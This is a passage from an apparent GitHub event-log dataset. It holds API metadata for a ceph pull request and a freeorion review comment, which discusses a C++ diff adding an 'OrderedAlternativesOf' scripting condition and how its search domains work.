eph/ceph/pulls/26697/comments","review_comment_url":"https://api.github.com/repos/ceph/ceph/pulls/comments{/number}","comments_url":"https://api.github.com/repos/ceph/ceph/issues/26697/comments","statuses_url":"https://api.github.com/repos/ceph/ceph/statuses/6869c1bf700e03eb9d820261b90d9a0c4529c6fa","head":{"label":"tchaikov:wip-crimson-pg-fsm","ref":"wip-crimson-pg-fsm","sha":"6869c1bf700e03eb9d820261b90d9a0c4529c6fa","user":{"login":"tchaikov","id":59071,"node_id":"MDQ6VXNlcjU5MDcx","avatar_url":"https://avatars2.githubusercontent.com/u/59071?v=4","gravatar_id":"","url":"https://api.github.com/users/tchaikov","html_url":"https://github.com/tchaikov","followers_url":"https://api.github.com/users/tchaikov/followers","following_url":"https://api.github.com/users/tchaikov/following{/other_user}","gists_url":"https://api.github.com/users/tchaikov/gists{/gist_id}","starred_url":"https://api.github.com/users/tchaikov/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tchaikov/subscriptions","organizations_url":"https://api.github.com/users/tchaikov/orgs","repos_url":"https://api.github.com/users/tchaikov/repos","events_url":"https://api.github.com/users/tchaikov/events{/privacy}","received_events_url":"https://api.github.com/users/tchaikov/received_events","type":"User","site_admin":false},"repo":{"id":26736928,"node_id":"MDEwOlJlcG9zaXRvcnkyNjczNjkyOA==","name":"ceph","full_name":"tchaikov/ceph","private":false,"owner":{"login":"tchaikov","id":59071,"node_id":"MDQ6VXNlcjU5MDcx","avatar_url":"https://avatars2.githubusercontent.com/u/59071?v=4","gravatar_id":"","url":"https://api.github.com/users/tchaikov","html_url":"https://github.com/tchaikov","followers_url":"https://api.github.com/users/tchaikov/followers","following_url":"https://api.github.com/users/tchaikov/following{/other_user}","gists_url":"https://api.github.com/users/tchaikov/gists{/gist_id}","starred_url":"https://api.github.com/users/tchaikov/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tchaikov/subscriptions","organizations_url":"https://api.github.com/users/tchaikov/orgs","repos_url":"https://api.github.com/users/tchaikov/repos","events_url":"https://api.github.com/users/tchaikov/events{/privacy}","received_events_url":"https://api.github.com/users/tchaikov/received_events","type":"User","site_admin":false},"html_url":"https://github.com/tchaikov/ceph","description":"Ceph is a distributed object, block, and file storage platform ","fork":true,"url":"https://api.github.com/repos/tchaikov/ceph","forks_url":"https://api.github.com/repos/tchaikov/ceph/forks","keys_url":"https://api.github.com/repos/tchaikov/ceph/keys{/key_id}","collaborators_url":"https://api.github.com/repos/tchaikov/ceph/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/tchaikov/ceph/teams","hooks_url":"https://api.github.com/repos/tchaikov/ceph/hooks","issue_events_url":"https://api.github.com/repos/tchaikov/ceph/issues/events{/number}","events_url":"https://api.github.com/repos/tchaikov/ceph/events","assignees_url":"https://api.github.com/repos/tchaikov/ceph/assignees{/user}","branches_url":"https://api.github.com/repos/tchaikov/ceph/branches{/branch}","tags_url":"https://api.github.com/repos/tchaikov/ceph/tags","blobs_url":"https://api.github.com/repos/tchaikov/ceph/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/tchaikov/ceph/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/tchaikov/ceph/git/refs{/sha}","trees_url":"https://api.github.com/repos/tchaikov/ceph/git/trees{/sha}","statuses_url":"https://api.github.com/repos/tchaikov/ceph/statuses/{sha}","languages_url":"https://api.github.com/repos/tchaikov/ceph/languages","stargazers_url":"https://api.github.com/repos/tchaikov/ceph/stargazers","contributors_url":"https://api.github.com/repos/tchaikov/ceph/contributors","subscribers_url":"https://api.github.com/repos/tchaikov/ceph/subscribers","subscription_url":"https://api.github.com/repos/tchaikov/ceph/subscription","commits_url":"https://api.github.com/repos/tchaikov/ceph/commits{/sha}","git_commits_url":"https://api.github.com/repos/tchaikov/ceph/git/commits{/sha}","comments_url":"https://api.github.com/repos/tchaikov/ceph/comments{/number}","issue_comment_url":"https://api.github.com/repos/tchaikov/ceph/issues/comments{/number}","contents_url":"https://api.github.com/repos/tchaikov/ceph/contents/{+path}","compare_url":"https://api.github.com/repos/tchaikov/ceph/compare/{base}...{head}","merges_url":"https://api.github.com/repos/tchaikov/ceph/merges","archive_url":"https://api.github.com/repos/tchaikov/ceph/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/tchaikov/ceph/downloads","issues_url":"https://api.github.com/repos/tchaikov/ceph/issues{/number}","pulls_url":"https://api.github.com/repos/tchaikov/ceph/pulls{/number}","milestones_url":"https://api.github.com/repos/tchaikov/ceph/milestones{/number}","notifications_url":"https://api.github.com/repos/tchaikov/ceph/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/tchaikov/ceph/labels{/name}","releases_url":"https://api.github.com/repos/tchaikov/ceph/releases{/id}","deployments_url":"https://api.github.com/repos/tchaikov/ceph/deployments","created_at":"2014-11-17T02:40:21Z","updated_at":"2017-03-03T08:58:24Z","pushed_at":"2019-03-18T06:09:36Z","git_url":"git://github.com/tchaikov/ceph.git","ssh_url":"git@github.com:tchaikov/ceph.git","clone_url":"https://github.com/tchaikov/ceph.git","svn_url":"https://github.com/tchaikov/ceph","homepage":"http://ceph.com","size":351645,"stargazers_count":0,"watchers_count":0,"language":"C++","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":1,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":0,"open_issues":1,"watchers":0,"default_branch":"master"}},"base":{"label":"ceph:master","ref":"master","sha":"e9491eea196fbf25037a3fae8bb15d6d549410db","user":{"login":"ceph","id":1015767,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwMTU3Njc=","avatar_url":"https://avatars3.githubusercontent.com/u/1015767?v=4","gravatar_id":"","url":"https://api.github.com/users/ceph","html_url":"https://github.com/ceph","followers_url":"https://api.github.com/users/ceph/followers","following_url":"https://api.github.com/users/ceph/following{/other_user}","gists_url":"https://api.github.com/users/ceph/gists{/gist_id}","starred_url":"https://api.github.com/users/ceph/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ceph/subscriptions","organizations_url":"https://api.github.com/users/ceph/orgs","repos_url":"https://api.github.com/users/ceph/repos","events_url":"https://api.github.com/users/ceph/events{/privacy}","received_events_url":"https://api.github.com/users/ceph/received_events","type":"Organization","site_admin":false},"repo":{"id":2310495,"node_id":"MDEwOlJlcG9zaXRvcnkyMzEwNDk1","name":"ceph","full_name":"ceph/ceph","private":false,"owner":{"login":"ceph","id":1015767,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwMTU3Njc=","avatar_url":"https://avatars3.githubusercontent.com/u/1015767?v=4","gravatar_id":"","url":"https://api.github.com/users/ceph","html_url":"https://github.com/ceph","followers_url":"https://api.github.com/users/ceph/followers","following_url":"https://api.github.com/users/ceph/following{/other_user}","gists_url":"https://api.github.com/users/ceph/gists{/gist_id}","starred_url":"https://api.github.com/users/ceph/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ceph/subscriptions","organizations_url":"https://api.github.com/users/ceph/orgs","repos_url":"https://api.github.com/users/ceph/repos","events_url":"https://api.github.com/users/ceph/events{/privacy}","received_events_url":"https://api.github.com/users/ceph/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ceph/ceph","description":"Ceph is a distributed object, block, and file storage platform ","fork":false,"url":"https://api.github.com/repos/ceph/ceph","forks_url":"https://api.github.com/repos/ceph/ceph/forks","keys_url":"https://api.github.com/repos/ceph/ceph/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ceph/ceph/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ceph/ceph/teams","hooks_url":"https://api.github.com/repos/ceph/ceph/hooks","issue_events_url":"https://api.github.com/repos/ceph/ceph/issues/events{/number}","events_url":"https://api.github.com/repos/ceph/ceph/events","assignees_url":"https://api.github.com/repos/ceph/ceph/assignees{/user}","branches_url":"https://api.github.com/repos/ceph/ceph/branches{/branch}","tags_url":"https://api.github.com/repos/ceph/ceph/tags","blobs_url":"https://api.github.com/repos/ceph/ceph/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ceph/ceph/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ceph/ceph/git/refs{/sha}","trees_url":"https://api.github.com/repos/ceph/ceph/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ceph/ceph/statuses/{sha}","languages_url":"https://api.github.com/repos/ceph/ceph/languages","stargazers_url":"https://api.github.com/repos/ceph/ceph/stargazers","contributors_url":"https://api.github.com/repos/ceph/ceph/contributors","subscribers_url":"https://api.github.com/repos/ceph/ceph/subscribers","subscription_url":"https://api.github.com/repos/ceph/ceph/subscription","commits_url":"https://api.github.com/repos/ceph/ceph/commits{/sha}","git_commits_url":"https://api.github.com/repos/ceph/ceph/git/commits{/sha}","comments_url":"https://api.github.com/repos/ceph/ceph/comments{/number}","issue_comment_url":"https://api.github.com/repos/ceph/ceph/issues/comments{/number}","contents_url":"https://api.github.com/repos/ceph/ceph/contents/{+path}","compare_url":"https://api.github.com/repos/ceph/ceph/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ceph/ceph/merges","archive_url":"https://api.github.com/repos/ceph/ceph/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ceph/ceph/downloads","issues_url":"https://api.github.com/repos/ceph/ceph/issues{/number}","pulls_url":"https://api.github.com/repos/ceph/ceph/pulls{/number}","milestones_url":"https://api.github.com/repos/ceph/ceph/milestones{/number}","notifications_url":"https://api.github.com/repos/ceph/ceph/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ceph/ceph/labels{/name}","releases_url":"https://api.github.com/repos/ceph/ceph/releases{/id}","deployments_url":"https://api.github.com/repos/ceph/ceph/deployments","created_at":"2011-09-01T21:41:26Z","updated_at":"2019-03-18T17:14:48Z","pushed_at":"2019-03-18T17:58:41Z","git_url":"git://github.com/ceph/ceph.git","ssh_url":"git@github.com:ceph/ceph.git","clone_url":"https://github.com/ceph/ceph.git","svn_url":"https://github.com/ceph/ceph","homepage":"https://ceph.com","size":351274,"stargazers_count":5787,"watchers_count":5787,"language":"C++","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":3005,"mirror_url":null,"archived":false,"open_issues_count":671,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":3005,"open_issues":671,"watchers":5787,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/ceph/ceph/pulls/26697"},"html":{"href":"https://github.com/ceph/ceph/pull/26697"},"issue":{"href":"https://api.github.com/repos/ceph/ceph/issues/26697"},"comments":{"href":"https://api.github.com/repos/ceph/ceph/issues/26697/comments"},"review_comments":{"href":"https://api.github.com/repos/ceph/ceph/pulls/26697/comments"},"review_comment":{"href":"https://api.github.com/repos/ceph/ceph/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/ceph/ceph/pulls/26697/commits"},"statuses":{"href":"https://api.github.com/repos/ceph/ceph/statuses/6869c1bf700e03eb9d820261b90d9a0c4529c6fa"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 2310495,
"name": "ceph/ceph",
"url": "https://api.github.com/repos/ceph/ceph"
}
|
{
"id": 29928748,
"login": "liu-chunmei",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/29928748?",
"url": "https://api.github.com/users/liu-chunmei"
}
|
{
"id": 1015767,
"login": "ceph",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1015767?",
"url": "https://api.github.com/orgs/ceph"
}
| 2019-03-18T18:35:02 |
9265596081
|
{"actor":{"display_login":"liu-chunmei"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/freeorion/freeorion/pulls/comments/262017444","pull_request_review_id":210088879,"id":262017444,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI2MjAxNzQ0NA==","diff_hunk":"@@ -9956,6 +9965,252 @@ unsigned int Not::GetCheckSum() const {\n return retval;\n }\n \n+///////////////////////////////////////////////////////////\n+// OrderedAlternativesOf\n+///////////////////////////////////////////////////////////\n+OrderedAlternativesOf::OrderedAlternativesOf(\n+ std::vector<std::unique_ptr<ConditionBase>>&& operands) :\n+ ConditionBase(),\n+ m_operands(std::move(operands))\n+{}\n+\n+bool OrderedAlternativesOf::operator==(const ConditionBase& rhs) const {\n+ if (this == &rhs)\n+ return true;\n+ if (typeid(*this) != typeid(rhs))\n+ return false;\n+\n+ const OrderedAlternativesOf& rhs_ = static_cast<const OrderedAlternativesOf&>(rhs);\n+\n+ if (m_operands.size() != rhs_.m_operands.size())\n+ return false;\n+ for (unsigned int i = 0; i < m_operands.size(); ++i) {\n+ CHECK_COND_VREF_MEMBER(m_operands.at(i))\n+ }\n+\n+ return true;\n+}\n+\n+void OrderedAlternativesOf::Eval(const ScriptingContext& parent_context,\n+ ObjectSet& matches, ObjectSet& non_matches,\n+ SearchDomain search_domain/* = NON_MATCHES*/) const\n+{\n+ std::shared_ptr<const UniverseObject> no_object;\n+ ScriptingContext local_context(parent_context, no_object);\n+\n+ if (m_operands.empty()) {\n+ ErrorLogger() << \"OrderedAlternativesOf::Eval given no operands!\";\n+ return;\n+ }\n+ for (auto& operand : m_operands) {\n+ if (!operand) {\n+ ErrorLogger() << \"OrderedAlternativesOf::Eval given null operand!\";\n+ return;\n+ }\n+ }\n+\n+ // Expressions like 'NOT OrderedAlternativesOf [ A B C ]'\n+ // matches all candidates which do not match the topmost condition which has matches\n+ // which means the something like\n+ // OrderedAlternativesOf [\n+ // And [\n+ // Number low = 1 condition = And [\n+ // Object id = OuterCandidate.ID\n+ // A\n+ // ]\n+ // Not A\n+ // ]\n+ // And [\n+ // Number low = 1 condition = And [\n+ // Object id = OuterCandidate.ID\n+ // B\n+ // ]\n+ // Not B\n+ // ]\n+ // And [\n+ // Number low = 1 condition = And [\n+ // Object id = OuterCandidate.ID\n+ // C\n+ // ]\n+ // Not C\n+ // ]\n+ // ]\n+ if (search_domain == NON_MATCHES) {\n+ // check all operand conditions on all objects in the non matches set","path":"universe/Condition.cpp","position":89,"original_position":104,"commit_id":"05408dc11d450bacf1eb6d39a77fe703e5a96901","original_commit_id":"9049760cba73e9be72f047756099221926f3fdd6","user":{"login":"geoffthemedio","id":11386908,"node_id":"MDQ6VXNlcjExMzg2OTA4","avatar_url":"https://avatars1.githubusercontent.com/u/11386908?v=4","gravatar_id":"","url":"https://api.github.com/users/geoffthemedio","html_url":"https://github.com/geoffthemedio","followers_url":"https://api.github.com/users/geoffthemedio/followers","following_url":"https://api.github.com/users/geoffthemedio/following{/other_user}","gists_url":"https://api.github.com/users/geoffthemedio/gists{/gist_id}","starred_url":"https://api.github.com/users/geoffthemedio/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/geoffthemedio/subscriptions","organizations_url":"https://api.github.com/users/geoffthemedio/orgs","repos_url":"https://api.github.com/users/geoffthemedio/repos","events_url":"https://api.github.com/users/geoffthemedio/events{/privacy}","received_events_url":"https://api.github.com/users/geoffthemedio/received_events","type":"User","site_admin":false},"body":"> ... the Ship operand condition of OrderedAlternativesOf should be chosen for evaluation?\r\n\r\nYes; the result of `And [A B]` should be the same as the result of `And [B A]`.\r\n\r\nBut more so, conditions like `And` can pass candidate sets as `matches` or `non_matches` and adjust `search_domain` as an implementation / optimization detail. The subcondition (in this case `OrderedAlternativesOf`) should match each candidate in the candidate set corresponding to the `search_domain` with the same criteria, regardless of which `search_domain` is specified.\r\n\r\nFor your example, you could rewrite it\r\n````\r\nOrderedAlternativesOf [\r\n And [Ship Not Ship]\r\n Building\r\n]\r\n````\r\nOr just `Building`","created_at":"2019-03-04T11:16:58Z","updated_at":"2019-03-04T11:16:58Z","html_url":"https://github.com/freeorion/freeorion/pull/2384#discussion_r262017444","pull_request_url":"https://api.github.com/repos/freeorion/freeorion/pulls/2384","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/freeorion/freeorion/pulls/comments/262017444"},"html":{"href":"https://github.com/freeorion/freeorion/pull/2384#discussion_r262017444"},"pull_request":{"href":"https://api.github.com/repos/freeorion/freeorion/pulls/2384"}},"in_reply_to_id":261885331},"pull_request":{"url":"https://api.github.com/repos/freeorion/freeorion/pulls/2384","id":252614185,"node_id":"MDExOlB1bGxSZXF1ZXN0MjUyNjE0MTg1","html_url":"https://github.com/freeorion/freeorion/pull/2384","diff_url":"https://github.com/freeorion/freeorion/pull/2384.diff","patch_url":"https://github.com/freeorion/freeorion/pull/2384.patch","issue_url":"https://api.github.com/repos/freeorion/freeorion/issues/2384","number":2384,"state":"open","locked":false,"title":"Topmost matches condition","user":{"login":"agrrr3","id":3252041,"node_id":"MDQ6VXNlcjMyNTIwNDE=","avatar_url":"https://avatars3.githubusercontent.com/u/3252041?v=4","gravatar_id":"","url":"https://api.github.com/users/agrrr3","html_url":"https://github.com/agrrr3","followers_url":"https://api.github.com/users/agrrr3/followers","following_url":"https://api.github.com/users/agrrr3/following{/other_user}","gists_url":"https://api.github.com/users/agrrr3/gists{/gist_id}","starred_url":"https://api.github.com/users/agrrr3/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/agrrr3/subscriptions","organizations_url":"https://api.github.com/users/agrrr3/orgs","repos_url":"https://api.github.com/users/agrrr3/repos","events_url":"https://api.github.com/users/agrrr3/events{/privacy}","received_events_url":"https://api.github.com/users/agrrr3/received_events","type":"User","site_admin":false},"body":"I am trying to implement a TopmostMatches condition for the result of the [Fighter targetting poll](https://www.freeorion.org/forum/viewtopic.php?f=6&t=11204&p=94826#p94826).\r\n\r\nIt should match the matches of the topmost condition which has at least one match.\r\n\r\nIt seems my understanding of conditions is not good enough though. So please correct me:\r\nusually conditions search the NON_MATCHES search domain, moving matches from the non_match set to the match_set. Usually conditions propagate the search domain to their operand conditions.\r\n\r\nIf there is a Not condition, the matching gets switched. So instead NON_MATCHES domain use MATCHES domain, using the non_matches set as matches set vice versa.\r\nIn the MATCHES search domain one moves non matching(?) items from the non_matches set to the matches set. If these operations are actually symmetric i actually fail to grasp how the Not condition works.\r\n\r\nUpdate: have it working like intended :)\r\n\r\nState of PR: works, tested, needs cleanup","created_at":"2019-02-13T09:15:13Z","updated_at":"2019-03-04T11:16:58Z","closed_at":null,"merged_at":null,"merge_commit_sha":"6d116d805e94eda9ffca692ef11200a56b179f89","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":194101995,"node_id":"MDU6TGFiZWwxOTQxMDE5OTU=","url":"https://api.github.com/repos/freeorion/freeorion/labels/category:feature","name":"category:feature","color":"5319e7","default":false},{"id":344570077,"node_id":"MDU6TGFiZWwzNDQ1NzAwNzc=","url":"https://api.github.com/repos/freeorion/freeorion/labels/component:content%20scripting","name":"component:content scripting","color":"d93f0b","default":false},{"id":430445128,"node_id":"MDU6TGFiZWw0MzA0NDUxMjg=","url":"https://api.github.com/repos/freeorion/freeorion/labels/component:internal","name":"component:internal","color":"d93f0b","default":false}],"milestone":{"url":"https://api.github.com/repos/freeorion/freeorion/milestones/23","html_url":"https://github.com/freeorion/freeorion/milestone/23","labels_url":"https://api.github.com/repos/freeorion/freeorion/milestones/23/labels","id":2872605,"node_id":"MDk6TWlsZXN0b25lMjg3MjYwNQ==","number":23,"title":"Next Release","description":"Bugs, features and pull requests that should be fixed/finalized for the next release.","creator":{"login":"Vezzra","id":10279417,"node_id":"MDQ6VXNlcjEwMjc5NDE3","avatar_url":"https://avatars2.githubusercontent.com/u/10279417?v=4","gravatar_id":"","url":"https://api.github.com/users/Vezzra","html_url":"https://github.com/Vezzra","followers_url":"https://api.github.com/users/Vezzra/followers","following_url":"https://api.github.com/users/Vezzra/following{/other_user}","gists_url":"https://api.github.com/users/Vezzra/gists{/gist_id}","starred_url":"https://api.github.com/users/Vezzra/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Vezzra/subscriptions","organizations_url":"https://api.github.com/users/Vezzra/orgs","repos_url":"https://api.github.com/users/Vezzra/repos","events_url":"https://api.github.com/users/Vezzra/events{/privacy}","received_events_url":"https://api.github.com/users/Vezzra/received_events","type":"User","site_admin":false},"open_issues":215,"closed_issues":132,"state":"open","created_at":"2017-10-29T13:18:34Z","updated_at":"2019-03-03T20:58:34Z","due_on":null,"closed_at":null},"commits_url":"https://api.github.com/repos/freeorion/freeorion/pulls/2384/commits","review_comments_url":"https://api.github.com/repos/freeorion/freeorion/pulls/2384/comments","review_comment_url":"https://api.github.com/repos/freeorion/freeorion/pulls/comments{/number}","comments_url":"https://api.github.com/repos/freeorion/freeorion/issues/2384/comments","statuses_url":"https://api.github.com/repos/freeorion/freeorion/statuses/05408dc11d450bacf1eb6d39a77fe703e5a96901","head":{"label":"agrrr3:TopmostMatchesCondition","ref":"TopmostMatchesCondition","sha":"05408dc11d450bacf1eb6d39a77fe703e5a96901","user":{"login":"agrrr3","id":3252041,"node_id":"MDQ6VXNlcjMyNTIwNDE=","avatar_url":"https://avatars3.githubusercontent.com/u/3252041?v=4","gravatar_id":"","url":"https://api.github.com/users/agrrr3","html_url":"https://github.com/agrrr3","followers_url":"https://api.github.com/users/agrrr3/followers","following_url":"https://api.github.com/users/agrrr3/following{/other_user}","gists_url":"https://api.github.com/users/agrrr3/gists{/gist_id}","starred_url":"https://api.github.com/users/agrrr3/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/agrrr3/subscriptions","organizations_url":"https://api.github.com/users/agrrr3/orgs","repos_url":"https://api.github.com/users/agrrr3/repos","events_url":"https://api.github.com/users/agrrr3/events{/privacy}","received_events_url":"https://api.github.com/users/agrrr3/received_events","type":"User","site_admin":false},"repo":{"id":65853125,"node_id":"MDEwOlJlcG9zaXRvcnk2NTg1MzEyNQ==","name":"freeorion","full_name":"agrrr3/freeorion","private":false,"owner":{"login":"agrrr3","id":3252041,"node_id":"MDQ6VXNlcjMyNTIwNDE=","avatar_url":"https://avatars3.githubusercontent.com/u/3252041?v=4","gravatar_id":"","url":"https://api.github.com/users/agrrr3","html_url":"https://github.com/agrrr3","followers_url":"https://api.github.com/users/agrrr3/followers","following_url":"https://api.github.com/users/agrrr3/following{/other_user}","gists_url":"https://api.github.com/users/agrrr3/gists{/gist_id}","starred_url":"https://api.github.com/users/agrrr3/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/agrrr3/subscriptions","organizations_url":"https://api.github.com/users/agrrr3/orgs","repos_url":"https://api.github.com/users/agrrr3/repos","events_url":"https://api.github.com/users/agrrr3/events{/privacy}","received_events_url":"https://api.github.com/users/agrrr3/received_events","type":"User","site_admin":false},"html_url":"https://github.com/agrrr3/freeorion","description":"Source code repository of the FreeOrion project.","fork":true,"url":"https://api.github.com/repos/agrrr3/freeorion","forks_url":"https://api.github.com/repos/agrrr3/freeorion/forks","keys_url":"https://api.github.com/repos/agrrr3/freeorion/keys{/key_id}","collaborators_url":"https://api.github.com/repos/agrrr3/freeorion/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/agrrr3/freeorion/teams","hooks_url":"https://api.github.com/repos/agrrr3/freeorion/hooks","issue_events_url":"https://api.github.com/repos/agrrr3/freeorion/issues/events{/number}","events_url":"https://api.github.com/repos/agrrr3/freeorion/events","assignees_url":"https://api.github.com/repos/agrrr3/freeorion/assignees{/user}","branches_url":"https://api.github.com/repos/agrrr3/freeorion/branches{/branch}","tags_url":"https://api.github.com/repos/agrrr3/freeorion/tags","blobs_url":"https://api.github.com/repos/agrrr3/freeorion/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/agrrr3/freeorion/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/agrrr3/freeorion/git/refs{/sha}","trees_url":"https://api.github.com/repos/agrrr3/freeorion/git/trees{/sha}","statuses_url":"https://api.github.com/repos/agrrr3/freeorion/statuses/{sha}","languages_url":"https://api.github.com/repos/agrrr3/freeorion/languages","stargazers_url":"https://api.github.com/repos/agrrr3/freeorion/stargazers","contributors_url":"https://api.github.com/repos/agrrr3/freeorion/contributors","subscribers_url":"https://api.github.com/repos/agrrr3/freeorion/subscribers","subscription_url":"https://api.github.com/repos/agrrr3/freeorion/subscription","commits_url":"https://api.github.com/repos/agrrr3/freeorion/commits{/sha}","git_commits_url":"https://api.github.com/repos/agrrr3/freeorion/git/commits{/sha}","comments_url":"https://api.github.com/repos/agrrr3/freeorion/comments{/number}","issue_comment_url":"https://api.github.com/repos/agrrr3/freeorion/issues/comments{/number}","contents_url":"https://api.github.com/repos/agrrr3/freeorion/contents/{+path}","compare_url":"https://api.github.com/repos/agrrr3/freeorion/compare/{base}...{head}","merges_url":"https://api.github.com/repos/agrrr3/freeorion/merges","archive_url":"https://api.github.com/repos/agrrr3/freeorion/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/agrrr3/freeorion/downloads","issues_url":"https://api.github.com/repos/agrrr3/freeorion/issues{/number}","pulls_url":"https://api.github.com/repos/agrrr3/freeorion/pulls{/number}","milestones_url":"https://api.github.com/repos/agrrr3/freeorion/milestones{/number}","notifications_url":"https://api.github.com/repos/agrrr3/freeorion/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/agrrr3/freeorion/labels{/name}","releases_url":"https://api.github.com/repos/agrrr3/freeorion/releases{/id}","deployments_url":"https://api.github.com/repos/agrrr3/freeorion/deployments","created_at":"2016-08-16T20:56:32Z","updated_at":"2016-08-16T20:56:39Z","pushed_at":"2019-03-04T08:36:01Z","git_url":"git://github.com/agrrr3/freeorion.git","ssh_url":"git@github.com:agrrr3/freeorion.git","clone_url":"https://github.com/agrrr3/freeorion.git","svn_url":"https://github.com/agrrr3/freeorion","homepage":"http://www.freeorion.org/","size":554602,"stargazers_count":0,"watchers_count":0,"language":"C++","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"freeorion:master","ref":"master","sha":"e59129b282262388077b6f131e8fb1d2d6c56875","user":{"login":"freeorion","id":1025550,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwMjU1NTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1025550?v=4","gravatar_id":"","url":"https://api.github.com/users/freeorion","html_url":"https://github.com/freeorion","followers_url":"https://api.github.com/users/freeorion/followers","following_url":"https://api.github.com/users/freeorion/following{/other_user}","gists_url":"https://api.github.com/users/freeorion/gists{/gist_id}","starred_url":"https://api.github.com/users/freeorion/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/freeorion/subscriptions","organizations_url":"https://api.github.com/users/freeorion/orgs","repos_url":"https://api.github.com/users/freeorion/repos","events_url":"https://api.github.com/users/freeorion/events{/privacy}","received_events_url":"https://api.github.com/users/freeorion/received_events","type":"Organization","site_admin":false},"repo":{"id":33066062,"node_id":"MDEwOlJlcG9zaXRvcnkzMzA2NjA2Mg==","name":"freeorion","full_name":"freeorion/freeorion","private":false,"owner":{"login":"freeorion","id":1025550,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwMjU1NTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1025550?v=4","gravatar_id":"","url":"https://api.github.com/users/freeorion","html_url":"https://github.com/freeorion","followers_url":"https://api.github.com/users/freeorion/followers","following_url":"https://api.github.com/users/freeorion/following{/other_user}","gists_url":"https://api.github.com/users/freeorion/gists{/gist_id}","starred_url":"https://api.github.com/users/freeorion/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/freeorion/subscriptions","organizations_url":"https://api.github.com/users/freeorion/orgs","repos_url":"https://api.github.com/users/freeorion/repos","events_url":"https://api.github.com/users/freeorion/events{/privacy}","received_events_url":"https://api.github.com/users/freeorion/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/freeorion/freeorion","description":"Source code repository of the FreeOrion project.","fork":false,"url":"https://api.github.com/repos/freeorion/freeorion","forks_url":"https://api.github.com/repos/freeorion/freeorion/forks","keys_url":"https://api.github.com/repos/freeorion/freeorion/keys{/key_id}","collaborators_url":"https://api.github.com/repos/freeorion/freeorion/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/freeorion/freeorion/teams","hooks_url":"https://api.github.com/repos/freeorion/freeorion/hooks","issue_events_url":"https://api.github.com/repos/freeorion/freeorion/issues/events{/number}","events_url":"https://api.github.com/repos/freeorion/freeorion/events","assignees_url":"https://api.github.com/repos/freeorion/freeorion/assignees{/user}","branches_url":"https://api.github.com/repos/freeorion/freeorion/branches{/branch}","tags_url":"https://api.github.com/repos/freeorion/freeorion/tags","blobs_url":"https://api.github.com/repos/freeorion/freeorion/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/freeorion/freeorion/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/freeorion/freeorion/git/refs{/sha}","trees_url":"https://api.github.com/repos/freeorion/freeorion/git/trees{/sha}","statuses_url":"https://api.github.com/repos/freeorion/freeorion/statuses/{sha}","languages_url":"https://api.github.com/repos/freeorion/freeorion/languages","stargazers_url":"https://api.github.com/repos/freeorion/freeorion/stargazers","contributors_url":"https://api.github.com/repos/freeorion/freeorion/contributors","subscribers_url":"https://api.github.com/repos/freeorion/freeorion/subscribers","subscription_url":"https://api.github.com/repos/freeorion/freeorion/subscription","commits_url":"https://api.github.com/repos/freeorion/freeorion/commits{/sha}","git_commits_url":"https://api.github.com/repos/freeorion/freeorion/git/commits{/sha}","comments_url":"https://api.github.com/repos/freeorion/freeorion/comments{/number}","issue_comment_url":"https://api.github.com/repos/freeorion/freeorion/issues/comments{/number}","contents_url":"http